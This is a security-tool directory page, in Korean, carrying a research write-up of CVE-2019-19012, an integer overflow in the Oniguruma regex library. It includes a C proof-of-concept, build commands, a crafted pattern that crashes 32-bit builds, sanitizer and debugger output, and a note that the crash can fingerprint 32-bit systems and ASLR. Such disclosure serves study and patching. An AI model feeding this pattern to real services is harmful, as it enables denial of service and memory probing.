Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-19012 — 6.9.4_rc2 이전의 Oniguruma 6.x에서 regexec.c의 search_in_range 함수에 존재하는 정수 오버플로는 경계를 벗어난 읽기(out-of-bounds read)로 이어집니다. | Kitploit
도구/GitHubGitHub/tarantula-team/cve-2019-19012
Memory ForensicsVulnerability AnalysisExploitationInformation GatheringFuzzingBinary Analysis
GitHubtarantula-team/cve-2019-19012

CVE-2019-19012

6.9.4_rc2 이전의 Oniguruma 6.x에서 regexec.c의 search_in_range 함수에 존재하는 정수 오버플로는 경계를 벗어난 읽기(out-of-bounds read)로 이어집니다.

저장소 보기
6년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-19012

Oniguruma 6.x, 6.9.4_rc2 이전 버전에서 regexec.c의 search_in_range 함수에 발생한 정수 오버플로우로 인해 out-of-bounds 읽기가 발생하며, 이 읽기의 오프셋은 공격자가 제어할 수 있습니다. (32비트 컴파일 버전에만 영향이 있습니다.) 원격 공격자는 조작된 정규 표현식을 통해 서비스 거부(denial-of-service) 또는 정보 노출(information disclosure)을 유발하거나, 잠재적으로 기타 영향을 일으킬 수 있습니다.

연구자: The Tarantula Team, VinCSS(빈그룹 계열사) 소속 ManhND

Oniguruma란?

Oniguruma는 K. Kosako가 만든 BSD 라이선스 정규 표현식 라이브러리로, 다양한 문자 인코딩을 지원합니다. Ruby 프로그래밍 언어 1.9 버전과 PHP의 멀티바이트 문자열 모듈(PHP5부터)은 Oniguruma를 정규 표현식 엔진으로 사용합니다. 또한 Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text, SubEthaEdit 같은 제품에서도 사용됩니다.

Proof of Concept

다음은 C로 작성된 PoC입니다. 첫 번째 인자로 패턴을, 두 번째 인자로 매칭할 문자열을 받습니다.

root@kitploit:~
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = argv[1];
  char *pattern_end = pattern + strlen(pattern);
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  char* str = argv[2];
  char* str_end = str+strlen(str);

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Oniguruma와 PoC를 32비트로 컴파일합니다:

root@kitploit:~
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC

버그를 트리거하려면 문자열 "x"와 "x{a}{b}0" 형식의 패턴을 제공하세요. 여기서 a와 b는 100000보다 작아야 합니다. 예를 들면:

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
    #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
    #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
    #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
    #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
    #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
    #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
    #6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#

분석

참조 소스 코드 버전: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4

근본 원인은 regex.c:5365 라인에서 발생하는 정수 오버플로우입니다:

root@kitploit:~
5360	      sch_range = (UChar* )range;
5361	      if (reg->dmax != 0) {
5362	        if (reg->dmax == INFINITE_LEN)
5363	          sch_range = (UChar* )end;
5364	        else {
5365	          sch_range += reg->dmax;  //// => overflow
5366	          if (sch_range > end) sch_range = (UChar* )end;
5367	        }
5368	      }

reg->dmax가 충분히 큰 값을 가질 때 정수 오버플로우가 발생합니다. reg->dmax는 "x{<number>}y" 패턴에서 <number>와 같은 거리로 보입니다. 여기서 x는 임의의 문자, y는 숫자여야 합니다. 예를 들어 패턴 "a{1000}5"를 제공하면 reg->dmax = 1000입니다. "./PoC a{1000}5 b"를 실행한 다음 gdb 로그를 참조하세요:

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>, 
  map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)

"x{<number>}y" 형식의 패턴에서 dmax는 최대 100000 값을 가집니다. 반복 횟수는 100000(ONIG_MAX_REPEAT_NUM)보다 클 수 없기 때문입니다. 그러나 "x{<number1>}{<number2>}y" 형식의 패턴을 제공하면 reg->dmax = number1 * number2가 됩니다. 이 곱셈은 다음 코드(regcomp.c:6157)에서 수행됩니다:

root@kitploit:~
6156	      else {
6157	        max = distance_multiply(xo.len.max, qn->upper);    //// => multiply into dmax
6158	      }

"./PoC a{1000}{2}5 b"를 실행한 다음 gdb 로그를 참조하세요:

root@kitploit:~
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>, 
  map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)

게다가 반복 횟수는 원하는 만큼 중첩할 수 있습니다:

root@kitploit:~
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk

따라서 dmax(부호 없는 정수)는 [0, 0xffffffff) 범위의 어떤 값이든 될 수 있으며, sch_range += reg->dmax; 에서 정수 오버플로우가 확실히 발생할 수 있습니다. reg->dmin에도 동일하게 적용됩니다. 그러나 이 정수 오버플로우는 32비트 버전에서만 발생합니다. 64비트 버전에서는 sch_range가 64비트 포인터이고 dmax는 여전히 부호 없는 정수이므로 정수 오버플로우가 발생할 수 없습니다.

위 PoC는 sunday_quick_search에서 정수 오버플로우가 잘못된 메모리 주소 역참조로 이어지기 때문에 크래시가 발생합니다:

root@kitploit:~
while (s < end) {
    p = s;
    t = tail;
    while (*p == *t) {                             // => p points to invalid address
      if (t == target) return (UChar* )p;
      p--; t--;
    }
    if (s + map_offset >= text_end) break;
    s += reg->map[*(s + map_offset)];
  }

ASLR이 활성화되어 있고 적절한 패턴을 제공하면, ASLR은 역참조된 주소에 유효한 페이지를 매핑하기도 하고 매핑하지 않기도 하므로 PoC는 때때로 크래시가 발생하고 때때로 발생하지 않습니다. 따라서 이 PoC는 대상 시스템이 32비트인지 64비트인지 감지하는 데 사용할 수 있습니다. 그리고 32비트라면 ASLR이 활성화되었는지도 감지할 수 있습니다.

참고 자료

  • https://github.com/kkos/oniguruma/issues/164
  • https://en.wikipedia.org/wiki/Oniguruma
도구 다운로드